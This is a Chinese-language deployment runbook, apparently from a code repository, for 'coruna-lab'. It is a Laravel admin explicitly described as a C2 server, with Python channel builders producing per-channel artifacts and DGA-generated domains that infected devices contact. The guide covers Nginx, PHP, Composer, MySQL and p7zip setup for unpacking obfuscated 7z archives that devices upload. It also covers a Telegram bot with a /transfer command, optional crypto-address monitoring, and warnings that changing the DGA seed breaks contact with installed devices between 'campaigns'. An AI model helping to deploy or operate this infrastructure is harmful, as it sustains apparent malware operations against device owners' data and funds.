Files
coruna-lab/docs/BAOTA_DEPLOY.md
T
2026-08-15 03:51:34 +08:00

663 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 宝塔部署指南(coruna-lab + channel-builder + channel-builder-new)
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
| 构建器 | 路径 | 渠道 ID | 产物 |
| --- | --- | --- | --- |
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --- | --- | --- | --- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
```text
设备 / 运营
│
├─ Admin / C2 ──► coruna-lab/public (Laravel)
│ │
│ ├─ Process ──► channel-builder
│ │ → public/web|sync
│ │ → state: storage/app/channel-builder
│ │
│ └─ Process ──► channel-builder-new
│ → public/details/(共享模板)
│ → public/channel/<ver>/(每渠道独占)
│ → state: storage/app/channel-builder-new
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/
```
建议目录:
```text
/www/wwwroot/coruna-lab/
```
防火墙只放行 80/443。
---
## 0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp**
系统包:`p7zip-full`(或等价)、`git`
### PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
```bash
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
```
扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。
### PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`)
建议:
```ini
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
```
- `post_max_size` ≥ `upload_max_filesize`
- Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600)
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
Nginx 站点配置建议同时加大:
```nginx
client_max_body_size 64m;
```
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。
---
## 1. 部署两套 channel-builder(随 coruna-lab)
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
### 1.1 旧版 `channel-builder`
```bash
cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
依赖与旧版相同(`pycryptodome`、`py7zr`)。
产物与状态:
| 路径 | 作用 |
| --- | --- |
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
创建新版渠道时 Laravel 会:
1. 用 `.env` 的 `XXBB_CHANNEL_C` 跑 `tools/build.py --apply --force`(**不会** random)
2. 再跑 `tools/pack_channel.py` 打进 `public/channel/<ver>/`
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
### 1.3 权限与静态路径(Admin 站点 Nginx)
```bash
# PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state
chown -R www:www \
/www/wwwroot/coruna-lab/public \
/www/wwwroot/coruna-lab/storage
```
产物默认落在 **Laravel** `public/`,与 Admin 同站即可:
```text
# 旧版
https://admin.example.com/web/<32-hex>/support.html
https://admin.example.com/sync/daily.html
# 新版
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
```
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
# 新版:每渠道独占树(ver 形如 A.B.C1)
location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版共享 details 模板
location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
```
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
```bash
cd /www/wwwroot/coruna-lab
# 推荐:随机生成并写出共享产物
/www/server/php/82/bin/php artisan xxbb:build --random-c
# 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后:
/www/server/php/82/bin/php artisan config:clear
# 或指定已有 c:
/www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex>
```
等价手动:
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
.venv/bin/python tools/build.py --random-c --apply --force
# 或 --channel-c <32-hex>
```
注意:
- 部署后域名由 `c` 决定,**不要随意改** `XXBB_CHANNEL_C`,否则设备 DGA 与线上不一致
- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c`
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
---
## 2. 部署 coruna-lab
### 2.1 站点
新建站点(如 `admin.example.com`):
- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`)
- PHP:8.2+
- 伪静态:Laravel
```nginx
location / {
try_files $uri $uri/ /index.php?$query_string;
}
```
### 2.2 Composer
需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。
```bash
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
composer self-update
composer install --no-dev --optimize-autoloader
```
常见错误见文末「排错」。
### 2.3 环境与数据库
```bash
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
```
默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。
### 2.4 `.env` 要点
```dotenv
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
# CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_STATIC_SITE_SCHEME=https
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
```
改 `.env` 后(**登录 / Session 依赖这一步**):
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
```
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
### 2.5 新版 builder 就绪(有新版渠道时)
在 `composer install` / `migrate` 之后、后台建新版渠道之前:
1. 已按 **§1.2** 装好 `channel-builder-new/.venv`
2. 按 **§1.4** 生成并写入 `XXBB_CHANNEL_C`
3. 确认:
```bash
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'
/www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details
ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
```
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
### 2.6 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
```
拷到项目(规避 `open_basedir`):
```bash
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
```
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.7 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
```text
https://<APP_URL>/hooks/telegram
```
1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串)
2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径)
3. 确保站点已上 SSL,Telegram 能访问该 URL
4. 注册 webhook:
```bash
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
```
成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
#### Bot 指令无响应 / `getWebhookInfo` 报 500
1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`:
```bash
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
```
1. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`):
```bash
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
```
1. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新:
```bash
/www/server/php/82/bin/php artisan telegram:set-webhook
```
1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
可选(地址监控):若启用 Tokenview,可另执行:
```bash
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
```
---
## 3. 联调检查清单
1. 旧版:`channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
3. Admin 登录 `https://admin.example.com/admin/login`
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
8. `telegram:set-webhook` 成功;Bot 能收到指令
---
## 4. 日常运维
| 动作 | 命令 / 操作 |
| --- | --- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
---
## 5. 排错摘要
### `mkdir(): Permission denied` at `Helpers.php` / `public/log`
C2 中间件会写 `public/log/c2/Ymd.log`(旧版)和 `public/log/xxbb/Ymd.log`(新版短路径)。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。
```bash
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2 public/log/xxbb
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
```
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
### Composer:`putenv()` undefined
PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2`
`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。
**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。
### Composer:缺少 `ext-gmp`
软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认:
```bash
/www/server/php/82/bin/php -m | grep -i gmp
```
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。
处理(任选,建议 1+2):
1. `.env` 显式写上 Python(跳过探测;`proc_open` 执行软链通常仍可用):
```dotenv
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
```
```bash
/www/server/php/82/bin/php artisan config:clear
```
2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
自检:
```bash
ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# 常见:… -> /usr/bin/python3.10
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
```
新版 `/channel/` 正则同理,花括号必须放在引号内。
### `apt` 因 gitlab-ce 源 404 失败
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
```
### `cp "$(command -v 7z)"` 报 `cannot stat ''`
未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。
### CLI `max_execution_time => 0`
CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
### 后台登录 HTTP 444
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。
### 后台登录方式(改造后)
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
### 后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null`
2. 执行:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
```
1. 浏览器清除该站 cookie 后重试
裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
---
## 6. 分机部署(可选)
若要把静态产物拆到另一台纯静态机:
- 旧版:rsync `public/web` + `public/sync`
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
同机时无需拆分,Admin `public/` 即静态根。